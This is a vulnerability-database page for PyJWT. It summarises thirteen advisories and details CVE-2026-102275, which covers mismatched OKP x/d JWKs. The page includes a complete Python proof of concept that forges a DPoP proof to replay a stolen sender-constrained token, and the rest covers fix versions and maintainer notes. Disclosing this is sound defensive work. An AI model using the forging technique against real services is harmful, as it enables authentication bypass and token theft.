Vulnerabilities in pkg:pypi/PyJWT

PACKAGE
Advisory Identifier: GHSA-x33g-cr3x-6449
Advisory Summary

CVE-2026-102275 is a MODERATE (CVSS 6.5) pyjwt accepts inconsistent okp x/d vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting PyJWT libraries in the PyPI ecosystem. The issue involves pyjwt accepts inconsistent okp x/d jwks, causing public/private key identity confusion. Remediation is available by upgrading affected packages to version 2.15.0.

13 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/PyJWT

13 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/PyJWT. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-x33g-cr3x-6449 CVE-2026-102275 MODERATE PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion
GHSA-gvp8-978c-rx2q CVE-2026-103001 MODERATE PyJWT.decode() reintroduces options-dict mutation, enabling silent claim-verification bypass on dict reuse
GHSA-42vr-xj54-vc7v CVE-2026-101918 MODERATE PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)
GHSA-9j54-fg26-wv3r CVE-2026-102266 HIGH PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation
GHSA-hxm8-2xgr-2p9m CVE-2026-102269 MODERATE PyJWT: Non-canonical signature segments enable raw-token revocation bypass
GHSA-ffc3-869f-jxw9 CVE-2026-102268 CRITICAL PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guard
GHSA-w2cx-738m-mc7w CVE-2026-102273 HIGH PyJWT accepts public JWK containers as HMAC secrets
GHSA-9v7f-9g4p-ffgj CVE-2026-102267 HIGH PyJWT: PyJWKClient follows redirects when fetching JWKS
GHSA-r6x4-923q-g947 CVE-2026-102272 HIGH PyJWT BOM Bypass
GHSA-w6j9-cwv2-h6wq CVE-2026-102274 MODERATE PyJWT: Malformed RSA JWK aborts parsing of an entire JWK Set
GHSA-993g-76c3-p5m4 CVE-2026-48522 MODERATE PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes
GHSA-752w-5fwx-jx9f CVE-2026-32597 HIGH PyJWT accepts unknown `crit` header extensions
GHSA-75c5-xw7c-p5pm CVE-2024-53861 LOW PyJWT Issuer field partial matches allowed

CVE-2026-102275 at a Glance

CVE Identifier CVE-2026-102275
GHSA Identifier GHSA-x33g-cr3x-6449
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-345: Insufficient Verification of Data Authenticity
Affected Product PyJWT
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-102275

To remediate this vulnerability, upgrade all affected PyJWT dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

PyJWT fixed: 2.15.0
pip install PyJWT>=2.15.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show PyJWT

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-102275, inspect your installed packages using pip:

pip show PyJWT

Analyze the terminal output to locate any version of PyJWT in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.15.0), your application is affected.

Note: The pip show PyJWT command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In PyJWT, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary PyJWT accepts internally inconsistent OKP private JWKs where the declared public key `x` does not correspond to the supplied private key `d`. When `d` is present, `OKPAlgorithm.from_jwk()` constructs the Ed25519/Ed448 private key from `d` without verifying that the public key derived from `d` matches `x`. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key. In affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key. ### Details The vulnerable logic is in `jwt/algorithms.py`: ```python if "x" not in obj: raise InvalidKeyError('OKP should have "x" parameter') x = base64url_decode(obj.get("x")) if "d" not in obj: if curve == "Ed25519": return Ed25519PublicKey.from_public_bytes(x) return Ed448PublicKey.from_public_bytes(x) d = base64url_decode(obj.get("d")) if curve == "Ed25519": return Ed25519PrivateKey.from_private_bytes(d) return Ed448PrivateKey.from_private_bytes(d) ``` When `d` is present, `x` is parsed but never compared with the public key derived from `d`. For example, PyJWT accepts: ```json { "kty": "OKP", "crv": "Ed25519", "x": "<legitimate-user-public-key>", "d": "<attacker-private-key>" } ``` even though `x` and `d` belong to different key pairs. The behavior has existed since OKP private-JWK import was introduced: * Ed25519: PyJWT 2.1.0+ * Ed448: PyJWT 2.2.0+ * Confirmed through PyJWT 2.14.0 and current master A correct import should derive the public key from `d` and reject the JWK when it does not equal the supplied `x`. ### PoC The reproducer creates two Ed25519 keypairs: * a legitimate holder keypair * an attacker keypair It then: 1. Creates an access token whose `cnf.jkt` is bound to the legitimate public key. 2. Creates a DPoP proof JWK containing the legitimate user's `x` together with the attacker's `d`. 3. Computes the RFC 7638 thumbprint from `x`, which still matches the access-token binding. 4. Passes the complete JWK to `PyJWK.from_dict()`. 5. PyJWT imports the private key from the attacker-controlled `d`. 6. A DPoP proof signed with the attacker's private key verifies successfully. Observed result: ```text thumbprint_matches: true actual_key_is_attacker_key: true actual_key_matches_declared_x: false stolen_sender_constrained_token_accepted: true attacker_has_legitimate_private_key: false ``` Tested on PyJWT 2.13.0, PyJWT 2.14.0, and current master. The complete reproducer is: ```python #!/usr/bin/env python3 from __future__ import annotations import base64 import hashlib import json import os import platform import time from importlib.metadata import version from typing import Any import jwt from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey from cryptography.hazmat.primitives.serialization import ( Encoding, NoEncryption, PrivateFormat, PublicFormat, ) ACCESS_TOKEN_SECRET = b"synthetic-authorization-server-key-32b" HTTP_METHOD = "GET" HTTP_URI = "https://resource.example/protected" def b64url(raw: bytes) -> str: return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii") def public_x(private_key: Ed25519PrivateKey) -> str: return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)) def private_d(private_key: Ed25519PrivateKey) -> str: return b64url( private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption()) ) def jwk_thumbprint(jwk: dict[str, Any]) -> str: canonical = json.dumps( {"crv": jwk["crv"], "kty": jwk["kty"], "x": jwk["x"]}, separators=(",", ":"), sort_keys=True, ).encode("ascii") return b64url(hashlib.sha256(canonical).digest()) def access_token_hash(access_token: str) -> str: return b64url(hashlib.sha256(access_token.encode("ascii")).digest()) def verify_resource_request( access_token: str, proof: str, *, reject_private_header_jwk: bool = False, ) -> dict[str, Any]: """Model the security-relevant stages of an RFC 9449 resource server.""" access_claims = jwt.decode( access_token, ACCESS_TOKEN_SECRET, algorithms=["HS256"], issuer="https://authorization.example", audience="resource-api", options={"require": ["exp", "iss", "aud", "sub", "cnf"]}, ) header = jwt.get_unverified_header(proof) if header.get("typ") != "dpop+jwt" or header.get("alg") != "EdDSA": raise ValueError("invalid DPoP header policy") jwk = header.get("jwk") if not isinstance(jwk, dict): raise ValueError("missing DPoP JWK") if reject_private_header_jwk and any( member in jwk for member in ("d", "p", "q", "dp", "dq", "qi", "k") ): raise ValueError("DPoP header JWK contains private material") if jwk_thumbprint(jwk) != access_claims["cnf"]["jkt"]: raise ValueError("DPoP key does not match cnf.jkt") key = jwt.PyJWK.from_dict(jwk) proof_claims = jwt.decode( proof, key, algorithms=["EdDSA"], options={"require": ["htm", "htu", "iat", "jti", "ath"]}, ) if proof_claims["htm"] != HTTP_METHOD or proof_claims["htu"] != HTTP_URI: raise ValueError("DPoP request binding mismatch") if proof_claims["ath"] != access_token_hash(access_token): raise ValueError("DPoP access-token hash mismatch") return access_claims def main() -> None: legitimate_holder = Ed25519PrivateKey.generate() attacker = Ed25519PrivateKey.generate() legitimate_x = public_x(legitimate_holder) attacker_x = public_x(attacker) legitimate_public_jwk = { "alg": "EdDSA", "crv": "Ed25519", "kty": "OKP", "x": legitimate_x, } mismatched_proof_jwk = { **legitimate_public_jwk, "d": private_d(attacker), } pinned_jkt = jwk_thumbprint(legitimate_public_jwk) now = int(time.time()) access_token = jwt.encode( { "aud": "resource-api", "cnf": {"jkt": pinned_jkt}, "exp": now + 300, "iat": now, "iss": "https://authorization.example", "scope": "admin:read", "sub": "legitimate-holder", }, ACCESS_TOKEN_SECRET, algorithm="HS256", ) proof_claims = { "ath": access_token_hash(access_token), "htm": HTTP_METHOD, "htu": HTTP_URI, "iat": now, "jti": "synthetic-attacker-proof", } attacker_proof = jwt.encode( proof_claims, attacker, algorithm="EdDSA", headers={"jwk": mismatched_proof_jwk, "typ": "dpop+jwt"}, ) imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key imported_x = b64url( imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw) ) accepted_claims = verify_resource_request(access_token, attacker_proof) public_only_rejected = False public_only_error = None public_only_proof = jwt.encode( proof_claims, attacker, algorithm="EdDSA", headers={"jwk": legitimate_public_jwk, "typ": "dpop+jwt"}, ) try: verify_resource_request(access_token, public_only_proof) except Exception as error: public_only_rejected = True public_only_error = type(error).__name__ private_member_control_rejected = False private_member_control_error = None try: verify_resource_request( access_token, attacker_proof, reject_private_header_jwk=True, ) except Exception as error: private_member_control_rejected = True private_member_control_error = type(error).__name__ result = { "environment": { "PyJWT": jwt.__version__, "PyJWT_source": str(jwt.__file__), "Python": platform.python_version(), "cryptography": version("cryptography"), "source_ref": os.environ.get("PYJWT_SOURCE_REF", "installed-release"), }, "dpop_binding": { "access_token_subject": accepted_claims["sub"], "access_token_scope": accepted_claims["scope"], "pinned_jkt": pinned_jkt, "proof_jkt": jwk_thumbprint(mismatched_proof_jwk), "thumbprint_matches": jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt, }, "imported_key": { "declared_x": legitimate_x, "attacker_x": attacker_x, "actual_imported_x": imported_x, "actual_key_is_attacker_key": imported_x == attacker_x, "actual_key_matches_declared_x": imported_x == legitimate_x, }, "vulnerable_composition": { "stolen_sender_constrained_token_accepted": accepted_claims["sub"] == "legitimate-holder", "attacker_has_legitimate_private_key": False, }, "controls": { "public_only_jwk_rejected": public_only_rejected, "public_only_error": public_only_error, "reject_private_header_jwk_blocks_attack": private_member_control_rejected, "private_member_control_error": private_member_control_error, }, } assert jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt assert imported_x == attacker_x assert imported_x != legitimate_x assert accepted_claims["sub"] == "legitimate-holder" assert public_only_rejected and public_only_error == "InvalidSignatureError" assert private_member_control_rejected and private_member_control_error == "ValueError" print(json.dumps(result, indent=2, sort_keys=True)) if __name__ == "__main__": main() ``` ```text 06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py ``` A public example of the affected composition exists in StrongDM's `agentic-auth` Flask middleware: it computes an OKP thumbprint from `x` and subsequently passes the entire JWK to `PyJWK.from_dict()` for EdDSA DPoP verification without rejecting `d`. ### Impact The PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another. In a DPoP verifier that: * calculates `cnf.jkt` / JWK thumbprints from the declared `x`, * passes the same JWK to PyJWT for signature verification, and * does not reject private JWK parameters, an attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key. RFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject `d` are not vulnerable to the demonstrated attack. ### Maintainer assessment (2026-09-12) We independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding `x` and `d` components returned the private key derived from `d` while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses `x` as the JWK identity and the returned key for cryptographic operations can act on two different key identities. Exact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (`>= 2.1.0, <= 2.14.0`) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release. The fix is on `master` in commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. It derives the public bytes from `d`, compares them with `x`, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree `9f219601e39026c7094d48f3fbb6678951878aa8` with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command `python -m tox` passed all 35 required environments both before and after the commit. The reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact. The fix is not yet contained in a released PyJWT 2.x version, so `patched_versions` remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on `master`; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary. --- ### Maintainer release update (2026-09-23) PyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963. The published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: matching Ed25519 and Ed448 `x`/`d` private JWK components import successfully, while mismatched components raise `InvalidKeyError`. The supported affected range remains `>= 2.1.0, <= 2.14.0`; the patched version is `2.15.0`. The earlier statement that no released patched version exists is superseded by this update. The PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.

CVE-2026-102275 Affected PyJWT Versions

1 component(s)
Fixed Versions:
2.15.0
Product / Package Ecosystem Affected Versions Fixed Version
PyJWT
PyPI
≥ 2.1.0
< 2.15.0
2.15.0

References

Frequently Asked Questions

What is CVE-2026-102275?
CVE-2026-102275 is a security vulnerability in PyJWT involving PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion under CWE-345: Insufficient Verification of Data Authenticity.
Which PyJWT versions are affected?
Affected versions include releases prior to 2.15.0 across affected packages: PyJWT.
What version fixes CVE-2026-102275?
Upgrading to 2.15.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is PyJWT affected?
Yes, PyJWT is affected in releases prior to 2.15.0. Upgrade your dependency to 2.15.0 or later.
What is the CVSS score of CVE-2026-102275?
CVE-2026-102275 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N.
What CWE is associated with CVE-2026-102275?
CVE-2026-102275 is classified under CWE-345: Insufficient Verification of Data Authenticity (The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.).
How can I check PyPI dependencies for CVE-2026-102275?
Run the dependency tree command: 'pip show PyJWT'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x33g-cr3x-6449",
  "modified" : "2026-10-05T23:44:03Z",
  "published" : "2026-10-05T23:44:03Z",
  "aliases" : [ "CVE-2026-102275" ],
  "summary" : "PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion",
  "details" : "### Summary\n\nPyJWT accepts internally inconsistent OKP private JWKs where the declared public key `x` does not correspond to the supplied private key `d`.\n\nWhen `d` is present, `OKPAlgorithm.from_jwk()` constructs the Ed25519/Ed448 private key from `d` without verifying that the public key derived from `d` matches `x`. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.\n\nIn affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key.\n\n### Details\n\nThe vulnerable logic is in `jwt/algorithms.py`:\n\n```python\nif \"x\" not in obj:\n    raise InvalidKeyError('OKP should have \"x\" parameter')\n\nx = base64url_decode(obj.get(\"x\"))\n\nif \"d\" not in obj:\n    if curve == \"Ed25519\":\n        return Ed25519PublicKey.from_public_bytes(x)\n    return Ed448PublicKey.from_public_bytes(x)\n\nd = base64url_decode(obj.get(\"d\"))\n\nif curve == \"Ed25519\":\n    return Ed25519PrivateKey.from_private_bytes(d)\n\nreturn Ed448PrivateKey.from_private_bytes(d)\n```\n\nWhen `d` is present, `x` is parsed but never compared with the public key derived from `d`.\n\nFor example, PyJWT accepts:\n\n```json\n{\n  \"kty\": \"OKP\",\n  \"crv\": \"Ed25519\",\n  \"x\": \"<legitimate-user-public-key>\",\n  \"d\": \"<attacker-private-key>\"\n}\n```\n\neven though `x` and `d` belong to different key pairs.\n\nThe behavior has existed since OKP private-JWK import was introduced:\n\n* Ed25519: PyJWT 2.1.0+\n* Ed448: PyJWT 2.2.0+\n* Confirmed through PyJWT 2.14.0 and current master\n\nA correct import should derive the public key from `d` and reject the JWK when it does not equal the supplied `x`.\n\n### PoC\n\nThe reproducer creates two Ed25519 keypairs:\n\n* a legitimate holder keypair\n* an attacker keypair\n\nIt then:\n\n1. Creates an access token whose `cnf.jkt` is bound to the legitimate public key.\n2. Creates a DPoP proof JWK containing the legitimate user's `x` together with the attacker's `d`.\n3. Computes the RFC 7638 thumbprint from `x`, which still matches the access-token binding.\n4. Passes the complete JWK to `PyJWK.from_dict()`.\n5. PyJWT imports the private key from the attacker-controlled `d`.\n6. A DPoP proof signed with the attacker's private key verifies successfully.\n\nObserved result:\n\n```text\nthumbprint_matches: true\nactual_key_is_attacker_key: true\nactual_key_matches_declared_x: false\nstolen_sender_constrained_token_accepted: true\nattacker_has_legitimate_private_key: false\n```\n\nTested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.\n\nThe complete reproducer is:\n```python\n#!/usr/bin/env python3\n\n\nfrom __future__ import annotations\n\nimport base64\nimport hashlib\nimport json\nimport os\nimport platform\nimport time\nfrom importlib.metadata import version\nfrom typing import Any\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey\nfrom cryptography.hazmat.primitives.serialization import (\n    Encoding,\n    NoEncryption,\n    PrivateFormat,\n    PublicFormat,\n)\n\n\nACCESS_TOKEN_SECRET = b\"synthetic-authorization-server-key-32b\"\nHTTP_METHOD = \"GET\"\nHTTP_URI = \"https://resource.example/protected\"\n\n\ndef b64url(raw: bytes) -> str:\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode(\"ascii\")\n\n\ndef public_x(private_key: Ed25519PrivateKey) -> str:\n    return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw))\n\n\ndef private_d(private_key: Ed25519PrivateKey) -> str:\n    return b64url(\n        private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption())\n    )\n\n\ndef jwk_thumbprint(jwk: dict[str, Any]) -> str:\n    canonical = json.dumps(\n        {\"crv\": jwk[\"crv\"], \"kty\": jwk[\"kty\"], \"x\": jwk[\"x\"]},\n        separators=(\",\", \":\"),\n        sort_keys=True,\n    ).encode(\"ascii\")\n    return b64url(hashlib.sha256(canonical).digest())\n\n\ndef access_token_hash(access_token: str) -> str:\n    return b64url(hashlib.sha256(access_token.encode(\"ascii\")).digest())\n\n\ndef verify_resource_request(\n    access_token: str,\n    proof: str,\n    *,\n    reject_private_header_jwk: bool = False,\n) -> dict[str, Any]:\n    \"\"\"Model the security-relevant stages of an RFC 9449 resource server.\"\"\"\n    access_claims = jwt.decode(\n        access_token,\n        ACCESS_TOKEN_SECRET,\n        algorithms=[\"HS256\"],\n        issuer=\"https://authorization.example\",\n        audience=\"resource-api\",\n        options={\"require\": [\"exp\", \"iss\", \"aud\", \"sub\", \"cnf\"]},\n    )\n    header = jwt.get_unverified_header(proof)\n    if header.get(\"typ\") != \"dpop+jwt\" or header.get(\"alg\") != \"EdDSA\":\n        raise ValueError(\"invalid DPoP header policy\")\n    jwk = header.get(\"jwk\")\n    if not isinstance(jwk, dict):\n        raise ValueError(\"missing DPoP JWK\")\n    if reject_private_header_jwk and any(\n        member in jwk for member in (\"d\", \"p\", \"q\", \"dp\", \"dq\", \"qi\", \"k\")\n    ):\n        raise ValueError(\"DPoP header JWK contains private material\")\n    if jwk_thumbprint(jwk) != access_claims[\"cnf\"][\"jkt\"]:\n        raise ValueError(\"DPoP key does not match cnf.jkt\")\n\n    key = jwt.PyJWK.from_dict(jwk)\n    proof_claims = jwt.decode(\n        proof,\n        key,\n        algorithms=[\"EdDSA\"],\n        options={\"require\": [\"htm\", \"htu\", \"iat\", \"jti\", \"ath\"]},\n    )\n    if proof_claims[\"htm\"] != HTTP_METHOD or proof_claims[\"htu\"] != HTTP_URI:\n        raise ValueError(\"DPoP request binding mismatch\")\n    if proof_claims[\"ath\"] != access_token_hash(access_token):\n        raise ValueError(\"DPoP access-token hash mismatch\")\n    return access_claims\n\n\ndef main() -> None:\n    legitimate_holder = Ed25519PrivateKey.generate()\n    attacker = Ed25519PrivateKey.generate()\n    legitimate_x = public_x(legitimate_holder)\n    attacker_x = public_x(attacker)\n\n    legitimate_public_jwk = {\n        \"alg\": \"EdDSA\",\n        \"crv\": \"Ed25519\",\n        \"kty\": \"OKP\",\n        \"x\": legitimate_x,\n    }\n    mismatched_proof_jwk = {\n        **legitimate_public_jwk,\n        \"d\": private_d(attacker),\n    }\n    pinned_jkt = jwk_thumbprint(legitimate_public_jwk)\n\n    now = int(time.time())\n    access_token = jwt.encode(\n        {\n            \"aud\": \"resource-api\",\n            \"cnf\": {\"jkt\": pinned_jkt},\n            \"exp\": now + 300,\n            \"iat\": now,\n            \"iss\": \"https://authorization.example\",\n            \"scope\": \"admin:read\",\n            \"sub\": \"legitimate-holder\",\n        },\n        ACCESS_TOKEN_SECRET,\n        algorithm=\"HS256\",\n    )\n    proof_claims = {\n        \"ath\": access_token_hash(access_token),\n        \"htm\": HTTP_METHOD,\n        \"htu\": HTTP_URI,\n        \"iat\": now,\n        \"jti\": \"synthetic-attacker-proof\",\n    }\n    attacker_proof = jwt.encode(\n        proof_claims,\n        attacker,\n        algorithm=\"EdDSA\",\n        headers={\"jwk\": mismatched_proof_jwk, \"typ\": \"dpop+jwt\"},\n    )\n\n    imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key\n    imported_x = b64url(\n        imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)\n    )\n    accepted_claims = verify_resource_request(access_token, attacker_proof)\n\n    public_only_rejected = False\n    public_only_error = None\n    public_only_proof = jwt.encode(\n        proof_claims,\n        attacker,\n        algorithm=\"EdDSA\",\n        headers={\"jwk\": legitimate_public_jwk, \"typ\": \"dpop+jwt\"},\n    )\n    try:\n        verify_resource_request(access_token, public_only_proof)\n    except Exception as error:\n        public_only_rejected = True\n        public_only_error = type(error).__name__\n\n    private_member_control_rejected = False\n    private_member_control_error = None\n    try:\n        verify_resource_request(\n            access_token,\n            attacker_proof,\n            reject_private_header_jwk=True,\n        )\n    except Exception as error:\n        private_member_control_rejected = True\n        private_member_control_error = type(error).__name__\n\n    result = {\n        \"environment\": {\n            \"PyJWT\": jwt.__version__,\n            \"PyJWT_source\": str(jwt.__file__),\n            \"Python\": platform.python_version(),\n            \"cryptography\": version(\"cryptography\"),\n            \"source_ref\": os.environ.get(\"PYJWT_SOURCE_REF\", \"installed-release\"),\n        },\n        \"dpop_binding\": {\n            \"access_token_subject\": accepted_claims[\"sub\"],\n            \"access_token_scope\": accepted_claims[\"scope\"],\n            \"pinned_jkt\": pinned_jkt,\n            \"proof_jkt\": jwk_thumbprint(mismatched_proof_jwk),\n            \"thumbprint_matches\": jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt,\n        },\n        \"imported_key\": {\n            \"declared_x\": legitimate_x,\n            \"attacker_x\": attacker_x,\n            \"actual_imported_x\": imported_x,\n            \"actual_key_is_attacker_key\": imported_x == attacker_x,\n            \"actual_key_matches_declared_x\": imported_x == legitimate_x,\n        },\n        \"vulnerable_composition\": {\n            \"stolen_sender_constrained_token_accepted\": accepted_claims[\"sub\"]\n            == \"legitimate-holder\",\n            \"attacker_has_legitimate_private_key\": False,\n        },\n        \"controls\": {\n            \"public_only_jwk_rejected\": public_only_rejected,\n            \"public_only_error\": public_only_error,\n            \"reject_private_header_jwk_blocks_attack\": private_member_control_rejected,\n            \"private_member_control_error\": private_member_control_error,\n        },\n    }\n\n    assert jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt\n    assert imported_x == attacker_x\n    assert imported_x != legitimate_x\n    assert accepted_claims[\"sub\"] == \"legitimate-holder\"\n    assert public_only_rejected and public_only_error == \"InvalidSignatureError\"\n    assert private_member_control_rejected and private_member_control_error == \"ValueError\"\n    print(json.dumps(result, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n```text\n06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py\n```\n\nA public example of the affected composition exists in StrongDM's `agentic-auth` Flask middleware: it computes an OKP thumbprint from `x` and subsequently passes the entire JWK to `PyJWK.from_dict()` for EdDSA DPoP verification without rejecting `d`.\n\n### Impact\n\nThe PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another.\n\nIn a DPoP verifier that:\n\n* calculates `cnf.jkt` / JWK thumbprints from the declared `x`,\n* passes the same JWK to PyJWT for signature verification, and\n* does not reject private JWK parameters,\n\nan attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key.\n\nRFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject `d` are not vulnerable to the demonstrated attack.\n\n### Maintainer assessment (2026-09-12)\n\nWe independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding `x` and `d` components returned the private key derived from `d` while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses `x` as the JWK identity and the returned key for cryptographic operations can act on two different key identities.\n\nExact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (`>= 2.1.0, <= 2.14.0`) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release.\n\nThe fix is on `master` in commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. It derives the public bytes from `d`, compares them with `x`, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree `9f219601e39026c7094d48f3fbb6678951878aa8` with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command `python -m tox` passed all 35 required environments both before and after the commit.\n\nThe reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact.\n\nThe fix is not yet contained in a released PyJWT 2.x version, so `patched_versions` remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on `master`; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary.\n---\n\n### Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: matching Ed25519 and Ed448 `x`/`d` private JWK components import successfully, while mismatched components raise `InvalidKeyError`. The supported affected range remains `>= 2.1.0, <= 2.14.0`; the patched version is `2.15.0`. The earlier statement that no released patched version exists is superseded by this update.\n\nThe PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PyJWT"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.1.0"
      }, {
        "fixed" : "2.15.0"
